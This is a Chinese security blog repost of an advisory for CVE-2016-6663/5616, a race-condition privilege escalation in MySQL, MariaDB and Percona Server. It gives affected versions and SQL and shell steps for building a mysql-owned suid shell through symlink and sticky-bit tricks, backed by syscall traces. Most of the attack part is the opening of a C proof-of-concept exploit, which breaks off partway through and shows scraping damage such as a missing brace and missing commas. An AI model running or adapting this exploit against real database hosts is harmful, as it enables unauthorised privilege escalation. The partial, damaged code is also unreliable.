记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

MySQL / MariaDB / PerconaDB – 低权限提权/条件竞争漏洞(附POC,演示视频)

2016-11-05 01:40

CVE编号 :CVE-2016-6663 / CVE-2016-5616

漏洞影响:

MariaDB < 5.5.52
< 10.1.18
< 10.0.28
MySQL <= 5.5.51
<= 5.6.32
<= 5.7.14
Percona   Server < 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8
Percona   XtraDB Cluster < 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

漏洞细节:


基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:

1
2
3
4
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

可以通过data directory参数指定存储目录为/tmp/disktable/

1
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

执行完成后,查看下目录权限,变为mysql

1
2
3
attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。

1
2
3
4
5
6
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

通过查看系统调用,可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid  1463] lseek(65, 0, SEEK_CUR)      = 0
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] lseek(64, 0, SEEK_END)      = 1024
[pid  1463] close(65)                   = 0
[pid  1463] close(66)                   = 0
[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid  1463] rename("/tmp/disktable/poctab1.TMD""/tmp/disktable/poctab1.MYD") = 0

第一个系统调用是

1
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在

1
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

1
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0

系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是’mysql’用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制

新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)

1
2
3
attacker@debian:/tmp/disktablechmod g+s /tmp/disktable/
attacker@debian:/tmp/disktablels -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

通过data directory参数指定存储目录为/tmp/disktable/

1
2
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

再次查看/tmp/disktable/权限

1
2
3
4
attacker@debian:/tmp/disktablels -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

我们可以看到poctab2.MYD表已经是’mysql’权限了,但是属于’attacker’组。这样’attacker’就能够复制/bin/bash到poctab2.MYD文件了。

 

 

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.  
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL     EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary
MYSQL *conn;  // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
        "\033[0m\n\n");
}
void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
    printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];
    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);
    // Get the params
    if (argc!=5) {
usage(argv[0]);
exit(1);
    
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");
    // Connect to the database server with provided credentials
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    // Prepare tmp dir
    printf("\n[+] Creating exploit temp directory %s\n""/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );
    // Prepare exploit tables 
知识来源: www.0-sec.org/?p=571

阅读:156541 | 评论:0 | 标签:安全文章 工具/Exp 提权 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“MySQL / MariaDB / PerconaDB – 低权限提权/条件竞争漏洞(附POC,演示视频)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码: